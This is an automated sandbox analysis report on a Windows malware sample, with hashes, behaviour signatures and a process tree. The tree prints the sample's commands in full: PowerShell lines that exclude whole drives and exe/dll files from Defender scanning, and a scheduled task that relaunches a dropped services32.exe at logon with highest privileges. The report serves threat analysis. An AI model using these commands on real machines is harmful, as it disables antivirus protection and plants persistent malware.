28ec9e6646d64704bd53325f0c48ef5383ff671547838d1833a470c9a04bc246

Analysis

max time kernel
129s
max time network
135s
platform
windows10_x64
resource
win10-en-20210920
submitted
24/10/2021, 08:28

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
ef6fabd3a7db4b14182038b08c3b2b62.exe
Size 65KB
Sample211024-kc2seseeck
SHA256 28ec9e6646d64704bd53325f0c48ef5383ff671547838d1833a470c9a04bc246
MD5 ef6fabd3a7db4b14182038b08c3b2b62
SHA1 b5f20ba1fa1903dc17f5f23634a0416e991064ef
SHA512 cac97e181fcdc14e7fb12c1f2c37d73bc2a8690946ea8dbd2aa09530ba75fa67f51380e59d39669a8849ef1cb04cd336785fbb422f7397d789a6222b8a2f3919
MD5 SHA1 SHA512

Score

8^/10

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
1952	services32.exe
1652	sihost32.exe

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
1188	schtasks.exe

Suspicious behavior: EnumeratesProcesses 15 IoCs

pid	Process
628	conhost.exe
1360	powershell.exe
1360	powershell.exe
1360	powershell.exe
2136	powershell.exe
2136	powershell.exe
2136	powershell.exe
3564	conhost.exe
3564	conhost.exe
3768	powershell.exe
3768	powershell.exe
3768	powershell.exe
1812	powershell.exe
1812	powershell.exe
1812	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	628	conhost.exe
Token: SeDebugPrivilege	1360	powershell.exe
Token: SeIncreaseQuotaPrivilege	1360	powershell.exe
Token: SeSecurityPrivilege	1360	powershell.exe
Token: SeTakeOwnershipPrivilege	1360	powershell.exe
Token: SeLoadDriverPrivilege	1360	powershell.exe
Token: SeSystemProfilePrivilege	1360	powershell.exe
Token: SeSystemtimePrivilege	1360	powershell.exe
Token: SeProfSingleProcessPrivilege	1360	powershell.exe
Token: SeIncBasePriorityPrivilege	1360	powershell.exe
Token: SeCreatePagefilePrivilege	1360	powershell.exe
Token: SeBackupPrivilege	1360	powershell.exe
Token: SeRestorePrivilege	1360	powershell.exe
Token: SeShutdownPrivilege	1360	powershell.exe
Token: SeDebugPrivilege	1360	powershell.exe
Token: SeSystemEnvironmentPrivilege	1360	powershell.exe
Token: SeRemoteShutdownPrivilege	1360	powershell.exe
Token: SeUndockPrivilege	1360	powershell.exe
Token: SeManageVolumePrivilege	1360	powershell.exe
Token: 33	1360	powershell.exe
Token: 34	1360	powershell.exe
Token: 35	1360	powershell.exe
Token: 36	1360	powershell.exe
Token: SeDebugPrivilege	2136	powershell.exe
Token: SeIncreaseQuotaPrivilege	2136	powershell.exe
Token: SeSecurityPrivilege	2136	powershell.exe
Token: SeTakeOwnershipPrivilege	2136	powershell.exe
Token: SeLoadDriverPrivilege	2136	powershell.exe
Token: SeSystemProfilePrivilege	2136	powershell.exe
Token: SeSystemtimePrivilege	2136	powershell.exe
Token: SeProfSingleProcessPrivilege	2136	powershell.exe
Token: SeIncBasePriorityPrivilege	2136	powershell.exe
Token: SeCreatePagefilePrivilege	2136	powershell.exe
Token: SeBackupPrivilege	2136	powershell.exe
Token: SeRestorePrivilege	2136	powershell.exe
Token: SeShutdownPrivilege	2136	powershell.exe
Token: SeDebugPrivilege	2136	powershell.exe
Token: SeSystemEnvironmentPrivilege	2136	powershell.exe
Token: SeRemoteShutdownPrivilege	2136	powershell.exe
Token: SeUndockPrivilege	2136	powershell.exe
Token: SeManageVolumePrivilege	2136	powershell.exe
Token: 33	2136	powershell.exe
Token: 34	2136	powershell.exe
Token: 35	2136	powershell.exe
Token: 36	2136	powershell.exe
Token: SeDebugPrivilege	3564	conhost.exe
Token: SeDebugPrivilege	3768	powershell.exe
Token: SeIncreaseQuotaPrivilege	3768	powershell.exe
Token: SeSecurityPrivilege	3768	powershell.exe
Token: SeTakeOwnershipPrivilege	3768	powershell.exe
Token: SeLoadDriverPrivilege	3768	powershell.exe
Token: SeSystemProfilePrivilege	3768	powershell.exe
Token: SeSystemtimePrivilege	3768	powershell.exe
Token: SeProfSingleProcessPrivilege	3768	powershell.exe
Token: SeIncBasePriorityPrivilege	3768	powershell.exe
Token: SeCreatePagefilePrivilege	3768	powershell.exe
Token: SeBackupPrivilege	3768	powershell.exe
Token: SeRestorePrivilege	3768	powershell.exe
Token: SeShutdownPrivilege	3768	powershell.exe
Token: SeDebugPrivilege	3768	powershell.exe
Token: SeSystemEnvironmentPrivilege	3768	powershell.exe
Token: SeRemoteShutdownPrivilege	3768	powershell.exe
Token: SeUndockPrivilege	3768	powershell.exe
Token: SeManageVolumePrivilege	3768	powershell.exe

Suspicious use of WriteProcessMemory 31 IoCs

description	pid	Process	procid_target
PID 3532 wrote to memory of 628	3532	ef6fabd3a7db4b14182038b08c3b2b62.exe	70
PID 3532 wrote to memory of 628	3532	ef6fabd3a7db4b14182038b08c3b2b62.exe	70
PID 3532 wrote to memory of 628	3532	ef6fabd3a7db4b14182038b08c3b2b62.exe	70
PID 628 wrote to memory of 760	628	conhost.exe	71
PID 628 wrote to memory of 760	628	conhost.exe	71
PID 760 wrote to memory of 1360	760	cmd.exe	73
PID 760 wrote to memory of 1360	760	cmd.exe	73
PID 628 wrote to memory of 2216	628	conhost.exe	75
PID 628 wrote to memory of 2216	628	conhost.exe	75
PID 2216 wrote to memory of 1188	2216	cmd.exe	77
PID 2216 wrote to memory of 1188	2216	cmd.exe	77
PID 760 wrote to memory of 2136	760	cmd.exe	79
PID 760 wrote to memory of 2136	760	cmd.exe	79
PID 628 wrote to memory of 2492	628	conhost.exe	80
PID 628 wrote to memory of 2492	628	conhost.exe	80
PID 2492 wrote to memory of 1952	2492	cmd.exe	82
PID 2492 wrote to memory of 1952	2492	cmd.exe	82
PID 1952 wrote to memory of 3564	1952	services32.exe	83
PID 1952 wrote to memory of 3564	1952	services32.exe	83
PID 1952 wrote to memory of 3564	1952	services32.exe	83
PID 3564 wrote to memory of 2204	3564	conhost.exe	84
PID 3564 wrote to memory of 2204	3564	conhost.exe	84
PID 2204 wrote to memory of 3768	2204	cmd.exe	86
PID 2204 wrote to memory of 3768	2204	cmd.exe	86
PID 3564 wrote to memory of 1652	3564	conhost.exe	87
PID 3564 wrote to memory of 1652	3564	conhost.exe	87
PID 2204 wrote to memory of 1812	2204	cmd.exe	88
PID 2204 wrote to memory of 1812	2204	cmd.exe	88
PID 1652 wrote to memory of 1360	1652	sihost32.exe	89
PID 1652 wrote to memory of 1360	1652	sihost32.exe	89
PID 1652 wrote to memory of 1360	1652	sihost32.exe	89

C:\Users\Admin\AppData\Local\Temp\ef6fabd3a7db4b14182038b08c3b2b62.exe
"C:\Users\Admin\AppData\Local\Temp\ef6fabd3a7db4b14182038b08c3b2b62.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3532
- C:\Windows\System32\conhost.exe
  "C:\Windows\System32\\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\ef6fabd3a7db4b14182038b08c3b2b62.exe"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:628
- - C:\Windows\System32\cmd.exe
    "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:760
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1360
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2136
- - C:\Windows\System32\cmd.exe
    "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services32" /tr "C:\Users\Admin\services32.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2216
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc onlogon /rl highest /tn "services32" /tr "C:\Users\Admin\services32.exe"
      4⤵
      Creates scheduled task(s)
      PID:1188
- - C:\Windows\System32\cmd.exe
    "cmd" cmd /c "C:\Users\Admin\services32.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2492
  - - C:\Users\Admin\services32.exe
      C:\Users\Admin\services32.exe
      4⤵
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:1952
    - - C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\\conhost.exe" "C:\Users\Admin\services32.exe"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:3564
      - C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:2204
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        7⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3768
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        7⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:1812
      - C:\Users\Admin\AppData\Roaming\Microsoft\Telemetry\sihost32.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\Telemetry\sihost32.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:1652
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\\conhost.exe" "/sihost32"
        7⤵
        
        PID:1360

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/628-133-0x00000283F66D3000-0x00000283F66D5000-memory.dmp

Download

memory/628-140-0x00000283F5B40000-0x00000283F5B42000-memory.dmp

Download

memory/628-116-0x00000283F5B40000-0x00000283F5B42000-memory.dmp

Download

memory/628-117-0x00000283F5B40000-0x00000283F5B42000-memory.dmp

Download

memory/628-118-0x00000283F5B40000-0x00000283F5B42000-memory.dmp

Download

memory/628-119-0x00000283F5B70000-0x00000283F5B7C000-memory.dmp

Download

memory/628-131-0x00000283F4110000-0x00000283F411F000-memory.dmp

Download

memory/628-132-0x00000283F66D0000-0x00000283F66D2000-memory.dmp

Download

memory/628-134-0x00000283F66D6000-0x00000283F66D7000-memory.dmp

Download

memory/628-121-0x00000283F5B40000-0x00000283F5B42000-memory.dmp

Download

memory/628-115-0x00000283F5B40000-0x00000283F5B42000-memory.dmp

Download

memory/628-122-0x00000283F5BC0000-0x00000283F5BC1000-memory.dmp

Download

memory/628-123-0x00000283F5B40000-0x00000283F5B42000-memory.dmp

Download

memory/1360-139-0x0000021B5DFC0000-0x0000021B5DFC1000-memory.dmp

Download

memory/1360-135-0x0000021B5DDD0000-0x0000021B5DDD2000-memory.dmp

Download

memory/1360-126-0x0000021B43EF0000-0x0000021B43EF2000-memory.dmp

Download

memory/1360-144-0x0000021B43EF0000-0x0000021B43EF2000-memory.dmp

Download

memory/1360-166-0x0000021B5DDD6000-0x0000021B5DDD8000-memory.dmp

Download

memory/1360-337-0x000002A99A9D3000-0x000002A99A9D5000-memory.dmp

Download

memory/1360-335-0x000002A9804F0000-0x000002A9804F7000-memory.dmp

Download

memory/1360-336-0x000002A99A9D0000-0x000002A99A9D2000-memory.dmp

Download

memory/1360-128-0x0000021B43EF0000-0x0000021B43EF2000-memory.dmp

Download

memory/1360-136-0x0000021B5DDD3000-0x0000021B5DDD5000-memory.dmp

Download

memory/1360-138-0x0000021B43EF0000-0x0000021B43EF2000-memory.dmp

Download

memory/1360-338-0x000002A99A9D6000-0x000002A99A9D7000-memory.dmp

Download

memory/1360-137-0x0000021B43EF0000-0x0000021B43EF2000-memory.dmp

Download

memory/1360-130-0x0000021B5DE10000-0x0000021B5DE11000-memory.dmp

Download

memory/1360-182-0x0000021B5DDD8000-0x0000021B5DDD9000-memory.dmp

Download

memory/1360-127-0x0000021B43EF0000-0x0000021B43EF2000-memory.dmp

Download

memory/1360-129-0x0000021B43EF0000-0x0000021B43EF2000-memory.dmp

Download

memory/1812-298-0x0000022240D70000-0x0000022240D72000-memory.dmp

Download

memory/1812-301-0x0000022240D73000-0x0000022240D75000-memory.dmp

Download

memory/1812-325-0x0000022240D76000-0x0000022240D78000-memory.dmp

Download

memory/1812-326-0x0000022240D78000-0x0000022240D79000-memory.dmp

Download

memory/2136-177-0x0000018D80050000-0x0000018D80052000-memory.dmp

Download

memory/2136-208-0x0000018D982C8000-0x0000018D982C9000-memory.dmp

Download

memory/2136-184-0x0000018D982C0000-0x0000018D982C2000-memory.dmp

Download

memory/2136-172-0x0000018D80050000-0x0000018D80052000-memory.dmp

Download

memory/2136-189-0x0000018D982C6000-0x0000018D982C8000-memory.dmp

Download

memory/2136-171-0x0000018D80050000-0x0000018D80052000-memory.dmp

Download

memory/2136-180-0x0000018D80050000-0x0000018D80052000-memory.dmp

Download

memory/2136-186-0x0000018D982C3000-0x0000018D982C5000-memory.dmp

Download

memory/2136-173-0x0000018D80050000-0x0000018D80052000-memory.dmp

Download

memory/2136-174-0x0000018D80050000-0x0000018D80052000-memory.dmp

Download

memory/2136-178-0x0000018D80050000-0x0000018D80052000-memory.dmp

Download

memory/3564-226-0x00000232FBB20000-0x00000232FBB22000-memory.dmp

Download

memory/3564-228-0x00000232FBB26000-0x00000232FBB27000-memory.dmp

Download

memory/3564-227-0x00000232FBB23000-0x00000232FBB25000-memory.dmp

Download

memory/3768-297-0x0000016ECFE58000-0x0000016ECFE59000-memory.dmp

Download

memory/3768-282-0x0000016ECFE56000-0x0000016ECFE58000-memory.dmp

Download

memory/3768-281-0x0000016ECFE53000-0x0000016ECFE55000-memory.dmp

Download

memory/3768-280-0x0000016ECFE50000-0x0000016ECFE52000-memory.dmp

Download